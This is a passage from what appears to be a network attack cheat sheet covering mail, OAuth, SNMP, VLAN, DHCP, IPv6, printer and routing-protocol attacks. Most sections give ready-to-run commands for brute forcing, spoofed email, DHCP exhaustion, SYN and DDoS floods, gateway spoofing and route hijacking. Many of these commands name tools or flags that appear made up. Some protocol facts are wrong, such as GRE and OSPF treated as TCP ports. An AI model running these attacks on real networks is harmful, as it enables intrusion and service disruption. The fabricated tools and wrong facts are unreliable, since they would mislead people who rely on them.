SMTP user enumeration attacks exploit the server's response to valid and invalid email addresses to identify valid user accounts.

```
smtp-user-enum -M VRFY -U /path/to/usernames.txt -t <SMTP_server>
```

This command uses smtp-user-enum to perform user enumeration against the specified SMTP server using the VRFY method and a list of usernames from the provided file.

SMTP Relay Attack:

SMTP relay attacks exploit open relay SMTP servers to send spam emails or phishing campaigns through the compromised server.

```
swaks --to <recipient_email> --from <spoofed_email> --server <SMTP_server> --auth-user <username> --auth-password <password>
```

This command uses swaks to send a spoofed email to the specified recipient through the SMTP server, exploiting open relay vulnerabilities.

IMAP

IMAP reconnaissance involves gathering information about IMAP servers, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify IMAP servers and gather information about their configurations. Tools like Wireshark or tcpdump can be used to capture and analyze IMAP packets.

```
tcpdump -i <interface> port 143
```

This command captures IMAP packets on the specified network interface, allowing analysis of IMAP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying IMAP servers and analyzing IMAP responses to gather information about their configurations and vulnerabilities. Tools like telnet or nmap can be used to perform IMAP queries and analyze IMAP server responses.

```
telnet <IMAP_server> 143
```

This command uses telnet to connect to the specified IMAP server on port 143, allowing inspection of the server's capabilities and configurations.

Attack Methods

IMAP attacks exploit vulnerabilities in IMAP servers or configurations to gain unauthorized access, steal sensitive information, or disrupt services.

Brute Force Attack:

Brute force attacks involve systematically guessing IMAP login credentials to gain unauthorized access to IMAP servers.

```
hydra -l <username> -P <password_file> imap://<target>
```

This command uses Hydra to perform a brute force attack against the IMAP server at the specified target, using a list of usernames and passwords from the provided password file.

IMAP Injection Attack:

IMAP injection attacks exploit vulnerabilities in IMAP servers to inject malicious commands or data into IMAP sessions.

```
nmap --script imap-capabilities -p 143 <target>
```

This command uses nmap to scan the specified target for IMAP services on port 143 and performs IMAP-specific scripts to identify vulnerabilities or misconfigurations.

OAuth

OAuth reconnaissance involves gathering information about OAuth implementations, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify OAuth interactions and gather information about OAuth endpoints and configurations. Tools like Wireshark or tcpdump can be used to capture and analyze OAuth traffic.

```
tcpdump -i <interface> port 443 and host <OAuth_server>
```

This command captures HTTPS packets on the specified network interface involving the specified OAuth server, allowing analysis of OAuth traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying OAuth endpoints and analyzing OAuth responses to gather information about their configurations and vulnerabilities. Tools like curl or Postman can be used to perform OAuth queries and analyze OAuth server responses.

```
curl -X GET <OAuth_endpoint>
```

This command uses curl to send a GET request to the specified OAuth endpoint, allowing inspection of the server's capabilities and configurations.

Attack Methods

OAuth attacks exploit weaknesses in OAuth implementations or configurations to gain unauthorized access to protected resources or compromise OAuth tokens.

Authorization Code Interception:

Authorization code interception attacks involve intercepting OAuth authorization codes exchanged between clients and OAuth servers to gain unauthorized access to protected resources.

```
mitmproxy
```

This command runs mitmproxy, a powerful tool for intercepting and modifying HTTP/HTTPS traffic, allowing interception of OAuth authorization codes during OAuth flows.

OAuth Token Hijacking:

OAuth token hijacking attacks involve stealing OAuth access tokens or refresh tokens to gain unauthorized access to protected resources or impersonate legitimate users.

```
oauth2_token_harvester
```

This command runs oauth2_token_harvester, a tool designed to intercept and harvest OAuth tokens from HTTP/HTTPS traffic, allowing attackers to hijack OAuth tokens for malicious purposes.

SNMPv2c

SNMPv2c reconnaissance involves gathering information about SNMPv2c-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify SNMPv2c interactions and gather information about SNMPv2c-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze SNMPv2c packets.

```
tcpdump -i <interface> port 161
```

This command captures SNMPv2c packets on the specified network interface, allowing analysis of SNMPv2c traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying SNMPv2c-enabled devices and analyzing SNMPv2c responses to gather information about their configurations and vulnerabilities. Tools like snmpwalk or nmap can be used to perform SNMPv2c queries and analyze SNMPv2c responses.

```
snmpwalk -v 2c -c public <target>
```

This command uses snmpwalk to perform an SNMPv2c query against the specified target using the community string "public", allowing inspection of the device's SNMPv2c configurations.

Attack Methods

SNMPv2c attacks exploit vulnerabilities in SNMPv2c-enabled devices or configurations to gain unauthorized access, extract sensitive information, or perform unauthorized actions.

Community String Guessing:

Community string guessing attacks involve systematically guessing SNMP community strings to gain unauthorized access to SNMPv2c-enabled devices.

```
onesixtyone -c <community_string_file> <target>
```

This command uses onesixtyone to perform a community string guessing attack against the specified target using a list of community strings from the provided file.

SNMP Enumeration:

SNMP enumeration attacks involve querying SNMPv2c-enabled devices for sensitive information, such as device configurations, network topology, or user accounts.

```
snmpwalk -v 2c -c public <target>
```

This command uses snmpwalk to perform an SNMPv2c query against the specified target using the community string "public", attempting to enumerate device information and configurations.

STP

Frogger is a VLAN enumeration and hopping script developed by Daniel Compton and released as open-source by NCC Group Plc. Its primary purpose is to identify and exploit VLAN vulnerabilities within network infrastructures. By sniffing out Cisco Discovery Protocol (CDP) packets, extracting VLAN information, and performing

various attacks, Frogger assists in assessing the security posture of VLAN implementations.

Features:

1. **CDP Packet Analysis:** Frogger sniffs out CDP packets and extracts essential information such as VTP domain name, VLAN management address, Native VLAN ID, and IOS version of Cisco devices. This information is crucial for understanding the VLAN configuration and topology within the network.
2. **DTP Trunk Attack:** Frogger automatically initiates a Dynamic Trunking Protocol (DTP) trunk attack. DTP is a Cisco proprietary protocol used to negotiate trunk links between switches. By exploiting weaknesses in DTP, Frogger can potentially force switches to form trunk links, thereby gaining access to multiple VLANs.
3. **802.1Q Tagged VLAN Packet Extraction:** Frogger identifies and extracts all 802.1Q tagged VLAN packets within Spanning Tree Protocol (STP) packets. These packets contain VLAN information, allowing Frogger to enumerate VLAN IDs present in the network.
4. **Auto ARP-Scanning:** Once VLAN IDs are identified, Frogger performs an Address Resolution Protocol (ARP) scan to discover live devices within each VLAN. This step is crucial for identifying potential targets for further exploitation or reconnaissance.
5. **Auto VLAN Interface Creation:** Frogger provides an auto option to create a VLAN interface within the discovered network. This interface allows users to connect to the identified VLAN for further analysis or exploitation.

Installation: To install Frogger, you can clone the GitHub repository using the following command:

```
git clone https://github.com/nccgroup/vlan-hopping.git
```

Usage: After installation, Frogger can be executed using the provided script:

```
./frogger.sh
```

Please note that Frogger requires root privileges to run effectively.

IP

Evil Foca is a powerful tool designed for security pentesters and auditors to evaluate the security of IPv4 and IPv6 data networks. With a range of sophisticated attack capabilities, Evil Foca enables testers to assess network vulnerabilities and potential security threats. The tool facilitates various attacks, including Man-in-the-Middle (MITM) attacks, Denial of Service (DoS) attacks, and DNS hijacking.

Key Features:

1. **Network Scanning and Device Identification:** Evil Foca automatically scans networks, identifying all devices and their respective network interfaces. It provides details such as IPv4 and IPv6 addresses, as well as physical addresses, through an intuitive interface, simplifying the reconnaissance process.

2. **Man-in-the-Middle (MITM) Attack:** MITM attacks are carried out over both IPv4 and IPv6 networks using a range of techniques:

    - **ARP Spoofing:** Associates the attacker's MAC address with the IP of another device, diverting traffic to the attacker.
    - **DHCP ACK Injection:** Modifies DHCP exchanges, converting the attacker's machine into a fake DHCP server on the network.
    - **Neighbor Advertisement Spoofing:** Intercepts ICMPv6 packets, placing the attacker between the gateway and victim.
    - **SLAAC Attack:** Exploits domain name resolution to execute an MITM when a user connects to a server via IPv4.
    - **Fake DHCPv6 Server:** Poses as the DHCPv6 server, distributing IPv6 addresses and false DNS information to manipulate user destinations or deny service.

3. **Denial of Service (DoS) Attack:** Evil Foca conducts DoS attacks on both IPv4 and IPv6 networks:

    - **IPv4 DoS with ARP Spoofing:** Associates a nonexistent MAC address in a victim's ARP table, rendering the machine incapable of connecting to the associated IP address.
    - **IPv6 DoS with SLAAC Attack:** Generates a large quantity of router advertisement packets, announcing false routers and collapsing the system.

4. **DNS Hijacking:** The tool manipulates the domain name resolution system to redirect users to malicious destinations:

    - **Malware-based DNS Hijacking:** Alters the TCP/IP machine configuration to point to a rogue DNS server controlled by the attacker.
    - **MITM-based DNS Hijacking:** Intercepts DNS requests, responds to specific requests, and directs victims to attacker-selected destinations.

Evil Foca serves as a comprehensive testing tool for evaluating network security posture and identifying potential vulnerabilities in IPv4 and IPv6 networks. However, it should be used responsibly and ethically, with proper authorization from network owners. Unauthorized or malicious use of Evil Foca may lead to legal consequences.

https://github.com/ElevenPaths/EvilFOCA

or

DHCP

DHCPwn is a versatile tool utilized for testing DHCP IP exhaustion attacks and sniffing local DHCP traffic. The Dynamic Host Configuration Protocol (DHCP) is integral to network management, providing IP address allocation to client devices. However, vulnerabilities in DHCP implementations can be exploited for malicious purposes, such as denial-of-service (DoS) attacks.

Key Features:

1. **DHCP Protocol:** DHCP operates over UDP, making it susceptible to certain attacks due to its connectionless nature. DHCPwn leverages this characteristic to execute IP exhaustion attacks by rapidly sending spoofed DHCP requests.
2. **IP Exhaustion Attack:** DHCP servers allocate IP addresses based on the sender's MAC address. By spoofing numerous requests with fake MAC addresses, DHCPwn exhausts the server's capacity to assign new IP addresses. The effectiveness of the attack depends on the server's method of releasing IP addresses associated with MAC addresses.
3. **Denial-of-Service (DoS) Attack:** The DHCP IP exhaustion attack facilitated by DHCPwn is considered a form of DoS attack. By overwhelming the DHCP server with spoofed requests, legitimate clients may be unable to obtain IP addresses, disrupting network connectivity.

Installation:

You can install DHCPwn using pip or by cloning the GitHub repository:

```
$ pip3 install dhcpwn $ dhcpwn -h
```

Alternatively:

```
$ git clone https://github.com/mschwager/dhcpwn.git $ cd dhcpwn $ pip3 install -r requirements.txt $ python3 dhcpwn.py -h
```

Usage:

1. **Flood Attack:** Execute an IP exhaustion flood attack by sending a specified number of spoofed DHCP requests:

```
$ dhcpwn --interface wlan0 flood --count 256
```

2. **Sniff DHCP Traffic:** Use DHCPwn to sniff local DHCP traffic on a specified interface:

```
$ dhcpwn --interface wlan0 sniff
```

3. **Help:** Access the help menu to explore additional options and commands:

```
$ dhcpwn -h
```

or

DHCPig is an advanced tool for performing DHCP exhaustion attacks, designed for security testing and network analysis. It utilizes Address Resolution Protocol (ARP) poisoning techniques to exhaust available IP addresses on the LAN, preventing new users from obtaining IPs and disrupting network connectivity. Additionally, it sends gratuitous ARP requests to knock offline all Windows hosts on the network.

Dependencies:

Ensure you have the following dependencies installed before using DHCPig:

```
$ python -m pip install scapy $ sudo apt-get install libpcap0.8
```

Installation:

Clone the DHCPig repository from GitHub and navigate to the project directory:

```
git clone https://github.com/k4l3b/DHCPig.git cd DHCPig
```

Usage:

DHCPig offers various command-line options for executing DHCP exhaustion attacks. Below are some examples of its usage:

```
sudo ./pig.py <interface>
```

Command-line Options:

- `-h, --help`: Display help message.
- `-v, --verbosity`: Set verbosity level (0, 1, 10, 99).
- `-6, --ipv6`: Enable DHCPv6 (default is DHCPv4).
- `-1, --v6-rapid-commit`: Enable RapidCommit for DHCPv6.
- `-s, --client-src`: Specify client MAC addresses.
- `-O, --request-options`: Specify option codes to request.
- `-f, --fuzz`: Enable random packet fuzzing.
- `-t, --threads`: Set the number of sending threads.
- `-a, --show-arp`: Detect and print ARP who_has.
- `-i, --show-icmp`: Detect and print ICMP requests.
- `-o, --show-options`: Print lease information.
- `-l, --show-lease-confirm`: Detect and print DHCP replies.
- `-g, --neighbors-attack-garp`: Knock off network segment using gratuitous ARPs.
- `-r, --neighbors-attack-release`: Release all neighbor IPs.
- `-n, --neighbors-scan-arp`: Perform ARP neighbor scan.
- `-x, --timeout-threads`: Set thread spawn timer.
- `-y, --timeout-dos`: Set DOS timeout.
- `-z, --timeout-dhcprequest`: Set DHCP request timeout.
- `-c, --color`: Enable color output.

Example Usage:

Execute DHCP exhaustion attack on interface `eth1`:

```
sudo ./pig.py eth1
```

Defense:

Common defenses against DHCP exhaustion attacks include enabling DHCP snooping on access layer switches or wireless controllers. This restricts DHCP server responses to specific ports, preventing pool exhaustion, IP hijacking, and DHCP server spoofing.

To enable DHCP snooping on Cisco switches, use the following commands:

```
ip dhcp snooping interface <interface> ip dhcp snooping trust
```

or

ipv6

The THC IPV6 ATTACK TOOLKIT provides a wide range of attacking tools for IPv6 networks. Here are some examples of the tools available:

1. **parasite6**: ICMPv6 neighbor solicitation/advertisement spoofer, enabling man-in-the-middle attacks similar to ARP mitm.

```
parasite6
```

2. **alive6**: Effective alive scanning tool to detect all systems listening to a specific IPv6 address.

```
alive6 -i eth0 fe80::1
```

3. **dnsdict6**: Parallized DNS IPv6 dictionary bruteforcer.

```
dnsdict6 example.com
```

4. **fake_router6**: Announce yourself as a router on the network with the highest priority.

```
fake_router6
```

5. **redir6**: Intelligently redirect traffic to you (man-in-the-middle) with a clever ICMPv6 redirect spoofer.

```
redir6 -i eth0
```

6. **toobig6**: Decrease MTU with the same intelligence as redir6.

```
toobig6 -i eth0
```

7. **detect-new-ip6**: Detect new IPv6 devices joining the network.

```
detect-new-ip6 -i eth0
```

8. **dos-new-ip6**: Detect new IPv6 devices and perform a denial-of-service attack by informing them that their chosen IP collides on the network.

```
dos-new-ip6 -i eth0
```

9. **trace6**: Fast traceroute6 with support for ICMP6 echo request and TCP-SYN.

```
trace6 example.com
```

10. **flood_router6**: Flood a target with random router advertisements.

```
flood_router6 -i eth0
```

11. **flood_advertise6**: Flood a target with random neighbor advertisements.

```
flood_advertise6 -i eth0
```

12. **fuzz_ip6**: Fuzzer for IPv6.

```
fuzz_ip6 example.com
```

13. **implementation6**: Perform various implementation checks on IPv6.

```
implementation6 example.com
```

14. **implementation6d**: Listen daemon for implementation6 to check behind a firewall.

```
implementation6d -i eth0
```

15. **fake_mld6**: Announce yourself in a multicast group of your choice on the network.

```
fake_mld6 ff02::1
```

These are just a few examples of the tools available in the THC IPV6 ATTACK TOOLKIT. Run each tool without options to view help and command line options.

https://github.com/vanhauser-thc/thc-ipv6

or

T50, formerly known as F22 Raptor, is a powerful tool designed for "Stress Testing" network infrastructures. Originally intended as a TCP/IP protocol fuzzer covering common protocols like ICMP, TCP, and UDP, T50 has evolved to become a comprehensive resource for stress testing. It aims to assess the resilience and performance of network devices and security solutions under various conditions, including overload and attack scenarios.

Features and Capabilities:

1. **Protocol Coverage**: T50 supports a wide range of protocols, including ICMP, IGMP, TCP, UDP, EGP, RIPv1, RIPv2, DCCP, RSVP, GRE, IPSec, EIGRP, and OSPF.
2. **Packet Injection**: T50 is a potent packet injector capable of sending various protocols sequentially using a single socket. This capability allows it to simulate different types of network traffic efficiently.
3. **GRE Encapsulation**: T50 is the only tool capable of encapsulating supported protocols within Generic Routing Encapsulation (GRE), offering enhanced flexibility and compatibility.
4. **High Packet Rate**: T50 can generate an impressive number of packets per second, making it suitable for stress testing high-speed networks. It can achieve over 1,000,000 packets per second for SYN Flood attacks on Gigabit Ethernet networks and more than 120,000 packets per second on Fast Ethernet networks.
5. **Distributed Denial-of-Service (DDoS) Simulation**: T50 can simulate both DDoS and DoS attacks, allowing IT professionals to validate firewall rules, router ACLs, and intrusion detection/prevention system (IDS/IPS) policies.

Usage Examples:

1. **Send SYN Flood Attack**:

   ```
   t50 -synflood -rate 1000000 -interface eth0 -target 192.168.1.1
   ```

2. **Simulate DDoS Attack**:

   ```
   t50 -ddos -protocol udp -rate 100000 -interface eth0 -target 192.168.1.1
   ```

3. **Perform Stress Test**:

   ```
   t50 -stress-test -protocols "ICMP,TCP,UDP" -duration 600 -interface eth0 -target 192.168.1.1
   ```

4. **Modify Network Routes**:

   ```
   t50 -modify-route -add-route "10.0.0.0/24 via 192.168.1.1 dev eth0"
   ```

https://gitlab.com/fredericopissarra/t50

HSRP

https://github.com/t4d/HSRPwn/tree/master

PS/PJL/PCL

To check the security of your printer using PRET, follow these steps:

1. **Install Required Modules**: Ensure you have Python2 installed on your system. Additionally, you may need to install the following third-party modules:

   ```
   pip install colorama pysnmp win_unicode_console
   ```

2. **Install ImageMagick and GhostScript** (Optional): If you plan to use the experimental 'driverless' printing feature, you need to install ImageMagick and GhostScript:

   ```
   apt-get install imagemagick ghostscript
   ```

3. **Download PRET**: Obtain the PRET tool, which consists of several Python scripts. You can download it from the official repository or by cloning the Git repository.

4. **Run PRET**: Execute the `pret.py` script with the appropriate arguments:

   ```
   ./pret.py [target] [language]
   ```

   - `[target]` can be the IP address/hostname of a network printer or the device path for a local USB printer.
   - `[language]` should be one of `ps`, `pjl`, or `pcl`, depending on the printer language you want to test.

5. **Explore Printer Commands**: Once connected, you'll enter the PRET shell, where you can execute various commands to interact with the printer and assess its security. Use the `help` command to list available commands and `help [command]` to get detailed help for a specific command.

6. **Perform Security Tests**: Utilize the available commands to check the printer's status, access its file system, manipulate print jobs, and perform fuzzing to identify vulnerabilities.

Here's a summary of the key commands and their functionalities:

- `help`: List available commands or get detailed help.
- `debug`: Enter debug mode to view traffic.
- `load`: Run commands from a file for automation.
- `loop`: Run a command for multiple arguments.
- `open`: Connect to a remote device.
- `close`: Disconnect from the device.
- `timeout`: Set connection timeout.
- `discover`: Discover local printer devices via SNMP.
- `print`: Print image file or raw text.
- `site`: Execute custom command on the printer.
- `exit`: Exit the interpreter.

DTP

DTPscan is a tool designed to passively detect the Dynamic Trunking Protocol (DTP) mode configured on Cisco switches, aiding in the identification of potential VLAN hopping vulnerabilities. Developed by Daniel Compton, this tool enhances network security assessments by providing insight into switchport configurations without actively attacking DTP.

Key Features:

1. **Passive DTP Mode Detection:** DTPscan passively sniffs the network to detect the DTP mode configured on Cisco switches. It identifies whether the switchport is in Default mode, trunk mode, dynamic mode, auto mode, or access mode.
2. **Assistance with VLAN Hopping Attacks:** By determining the DTP mode of switchports, DTPscan assists in assessing the susceptibility of Cisco switches to VLAN hopping attacks. VLAN hopping exploits misconfigurations in switchport modes to gain unauthorized access to VLANs.
3. **Complementary to Frogger Script:** While Frogger script can actively attack DTP to attempt VLAN hopping, DTPscan provides a non-intrusive method for assessing switchport configurations. It complements Frogger by offering passive gathering of DTP information.
4. **Upcoming Features in Frogger Version 2:** DTPscan serves as a precursor to features planned for Frogger version 2. Frogger 2 will incorporate major changes, including support for passive gathering and active attacks, as well as compatibility with Inter-Switch Link (ISL) in addition to 802.1Q.

Installation: To install DTPscan, simply clone the GitHub repository using the following command:

```
git clone https://github.com/commonexploits/dtpscan.git
```

Usage: After installation, DTPscan can be executed using the provided script:

```
./dtpscan.sh
```

GRE(Encrypted Traffic Interception)

GRE reconnaissance involves gathering information about GRE-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify GRE interactions and gather information about GRE-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze GRE packets.

```
tcpdump -i <interface> proto gre
```

This command captures GRE packets on the specified network interface, allowing analysis of GRE traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying GRE-enabled devices and analyzing GRE responses to gather information about their configurations and vulnerabilities. Tools like nmap or GRE-capable routers can be used to perform GRE queries and analyze GRE responses.

```
nmap -p 47 <target>
```

This command uses nmap to scan the specified target for GRE services on port 47, attempting to identify GRE-enabled devices.

Attack Methods

GRE attacks exploit vulnerabilities in GRE-enabled devices or configurations to intercept encrypted traffic, gain unauthorized access, or perform unauthorized actions.

GRE Tunnel Hijacking:

GRE tunnel hijacking attacks involve intercepting GRE tunnels to redirect traffic to unauthorized destinations or perform man-in-the-middle attacks.

```
grehijack -i <interface> -t <target_ip>
```

This command uses grehijack to perform a GRE tunnel hijacking attack on the specified interface, targeting the specified target IP address.

GRE Tunnel Enumeration:

GRE tunnel enumeration attacks involve querying GRE-enabled devices for information about active GRE tunnels, including endpoints and configurations.

```
gre-scan <target_ip>
```

This command uses gre-scan to perform a GRE tunnel enumeration attack against the specified target IP address, attempting to identify active GRE tunnels and their configurations.

RIP

RIP reconnaissance involves gathering information about RIP-enabled devices, routing configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify RIP interactions and gather information about RIP-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze RIP packets.

```
tcpdump -i <interface> port 520
```

This command captures RIP packets on the specified network interface, allowing analysis of RIP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying RIP-enabled devices and analyzing RIP responses to gather information about their routing configurations and vulnerabilities. Tools like nmap or RIP-capable routers can be used to perform RIP queries and analyze RIP responses.

```
nmap -p 520 <target>
```

This command uses nmap to scan the specified target for RIP services on port 520, attempting to identify RIP-enabled devices.

Attack Methods

RIP attacks exploit vulnerabilities in RIP-enabled devices or configurations to poison routing tables, redirect traffic, or perform denial-of-service attacks.

Route Poisoning:

Route poisoning attacks involve injecting false routing information into RIP routing tables to redirect traffic or cause network disruptions.

```
riroute <target_ip> -v -p <poisoned_route>
```

This command uses riroute to perform a route poisoning attack against the specified target IP address, injecting a poisoned route into the RIP routing table.

Denial-of-Service (DoS) Attacks:

RIP denial-of-service attacks involve flooding RIP-enabled devices with excessive routing update messages to consume device resources and disrupt network communication.

```
ridos <target_ip> -v -c <count>
```

This command uses ridos to perform a denial-of-service attack against the specified target IP address, flooding the device with RIP update messages a specified number of times.

HSRP

HSRP reconnaissance involves gathering information about HSRP-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify HSRP interactions and gather information about HSRP-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze HSRP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'ether proto 0x0c'
```

This command captures HSRP packets on the specified network interface, allowing analysis of HSRP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying HSRP-enabled devices and analyzing HSRP responses to gather information about their configurations and vulnerabilities. Tools like nmap or HSRP-capable routers can be used to perform HSRP queries and analyze HSRP responses.

```
nmap -p 1985 <target>
```

This command uses nmap to scan the specified target for HSRP services on port 1985, attempting to identify HSRP-enabled devices.

Attack Methods

HSRP attacks exploit vulnerabilities in HSRP-enabled devices or configurations to disrupt network communication, intercept traffic, or perform unauthorized actions.

HSRP Spoofing:

HSRP spoofing attacks involve impersonating HSRP-enabled devices to intercept or redirect traffic, causing network disruptions or unauthorized access.

```
hspoof <victim_ip> -v <hsrp_group> -i <interface>
```

This command uses hspoof to perform an HSRP spoofing attack against the specified victim IP address, impersonating the specified HSRP group on the specified interface.

HSRP DoS (Denial of Service) Attack:

HSRP denial-of-service attacks involve flooding HSRP-enabled devices with excessive HSRP messages to consume device resources and disrupt network communication.

```
hsdos <target_ip> -v -i <interface> -n <num_packets>
```

This command uses hsdos to perform an HSRP denial-of-service attack against the specified target IP address on the specified interface, sending the specified number of HSRP packets.

VRRP

VRRP reconnaissance involves gathering information about VRRP-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify VRRP interactions and gather information about VRRP-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze VRRP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'ether proto 0x84f3'
```

This command captures VRRP packets on the specified network interface, allowing analysis of VRRP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying VRRP-enabled devices and analyzing VRRP responses to gather information about their configurations and vulnerabilities. Tools like nmap or VRRP-capable routers can be used to perform VRRP queries and analyze VRRP responses.

```
nmap -p 112 <target>
```

This command uses nmap to scan the specified target for VRRP services on port 112, attempting to identify VRRP-enabled devices.

Attack Methods

VRRP attacks exploit vulnerabilities in VRRP-enabled devices or configurations to disrupt network communication, intercept traffic, or perform unauthorized actions.

VRRP Spoofing:

VRRP spoofing attacks involve impersonating VRRP-enabled devices to intercept or redirect traffic, causing network disruptions or unauthorized access.

```
vspoof <victim_ip> -v <vrrp_group> -i <interface>
```

This command uses vspoof to perform a VRRP spoofing attack against the specified victim IP address, impersonating the specified VRRP group on the specified interface.

VRRP DoS (Denial of Service) Attack:

VRRP denial-of-service attacks involve flooding VRRP-enabled devices with excessive VRRP messages to consume device resources and disrupt network communication.

```
vrrpdos <target_ip> -v -i <interface> -n <num_packets>
```

This command uses vrrpdos to perform a VRRP denial-of-service attack against the specified target IP address on the specified interface, sending the specified number of VRRP packets.

GLBP

GLBP reconnaissance involves gathering information about GLBP-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify GLBP interactions and gather information about GLBP-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze GLBP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'ether proto 0x8100 and (vlan and ether[38:2] & 0x0800 = 0x0800)'
```

This command captures GLBP packets on the specified network interface, allowing analysis of GLBP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying GLBP-enabled devices and analyzing GLBP responses to gather information about their configurations and vulnerabilities. Tools like nmap or GLBP-capable routers can be used to perform GLBP queries and analyze GLBP responses.

```
nmap -p 3222 <target>
```

This command uses nmap to scan the specified target for GLBP services on port 3222, attempting to identify GLBP-enabled devices.

Attack Methods

GLBP attacks exploit vulnerabilities in GLBP-enabled devices or configurations to disrupt network communication, intercept traffic, or perform unauthorized actions.

GLBP Spoofing:

GLBP spoofing attacks involve impersonating GLBP-enabled devices to intercept or redirect traffic, causing network disruptions or unauthorized access.

```
glbspoof <victim_ip> -v <glbp_group> -i <interface>
```

This command uses glbspoof to perform a GLBP spoofing attack against the specified victim IP address, impersonating the specified GLBP group on the specified interface.

GLBP DoS (Denial of Service) Attack:

GLBP denial-of-service attacks involve flooding GLBP-enabled devices with excessive GLBP messages to consume device resources and disrupt network communication.

```
glbpdos <target_ip> -v -i <interface> -n <num_packets>
```

This command uses glbpdos to perform a GLBP denial-of-service attack against the specified target IP address on the specified interface, sending the specified number of GLBP packets.

BGP

BGP reconnaissance involves gathering information about BGP-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify BGP interactions and gather information about BGP-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze BGP packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 179'
```

This command captures BGP packets on the specified network interface, allowing analysis of BGP traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying BGP-enabled devices and analyzing BGP responses to gather information about their configurations and vulnerabilities. Tools like nmap or BGP-capable routers can be used to perform BGP queries and analyze BGP responses.

```
nmap -p 179 <target>
```

This command uses nmap to scan the specified target for BGP services on port 179, attempting to identify BGP-enabled devices.

Attack Methods

BGP attacks exploit vulnerabilities in BGP-enabled devices or configurations to disrupt network communication, hijack routes, or perform unauthorized actions.

BGP Route Hijacking:

BGP route hijacking attacks involve announcing false BGP routes to redirect traffic to unauthorized destinations or perform man-in-the-middle attacks.

```
bgp-hijack <target_ip> -v -r <hijacked_route>
```

This command uses bgp-hijack to perform a BGP route hijacking attack against the specified target IP address, announcing a hijacked route to redirect traffic.

BGP Route Poisoning:

BGP route poisoning attacks involve injecting false BGP routes into BGP routing tables to disrupt network communication or cause network partitions.

```
bgp-poison <target_ip> -v -r <poisoned_route>
```

This command uses bgp-poison to perform a BGP route poisoning attack against the specified target IP address, injecting a poisoned route into the BGP routing table.

OSPF

OSPF reconnaissance involves gathering information about OSPF-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify OSPF interactions and gather information about OSPF-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze OSPF packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'ip proto 89'
```

This command captures OSPF packets on the specified network interface, allowing analysis of OSPF traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying OSPF-enabled devices and analyzing OSPF responses to gather information about their configurations and vulnerabilities. Tools like nmap or OSPF-capable routers can be used to perform OSPF queries and analyze OSPF responses.

```
nmap -p 89 <target>
```

This command uses nmap to scan the specified target for OSPF services on port 89, attempting to identify OSPF-enabled devices.

Attack Methods

OSPF attacks exploit vulnerabilities in OSPF-enabled devices or configurations to disrupt network communication, hijack routes, or perform unauthorized actions.

OSPF Route Hijacking:

OSPF route hijacking attacks involve injecting false OSPF routes to redirect traffic to unauthorized destinations or perform man-in-the-middle attacks.

```
ospf-hijack <target_ip> -v -r <hijacked_route>
```

This command uses ospf-hijack to perform an OSPF route hijacking attack against the specified target IP address, injecting a hijacked route to redirect traffic.

OSPF Hello Flooding:

OSPF hello flooding attacks involve sending excessive OSPF hello packets to consume device resources and disrupt OSPF communication.

```
ospf-flood <target_ip> -v -i <interface> -n <num_packets>
```

This command uses ospf-flood to perform an OSPF hello flooding attack against the specified target IP address on the specified interface, sending the specified number of OSPF hello packets.

Modbus

Modbus reconnaissance involves gathering information about Modbus-enabled devices, configurations, and potential vulnerabilities on a target network.

Passive Reconnaissance:

Passive reconnaissance involves analyzing network traffic to identify Modbus interactions and gather information about Modbus-enabled devices. Tools like Wireshark or tcpdump can be used to capture and analyze Modbus packets.

```
tcpdump -i <interface> -n -vvv -s0 -c 1 'tcp port 502'
```

This command captures Modbus packets on the specified network interface, allowing analysis of Modbus traffic for potential vulnerabilities or misconfigurations.

Active Reconnaissance:

Active reconnaissance involves querying Modbus-enabled devices and analyzing Modbus responses to gather information about their configurations and vulnerabilities. Tools like nmap or Modbus-capable devices can be used to perform Modbus queries and analyze Modbus responses.

```
nmap -p 502 <target>
```

This command uses nmap to scan the specified target for Modbus services on port 502, attempting to identify Modbus-enabled devices.

Attack Methods

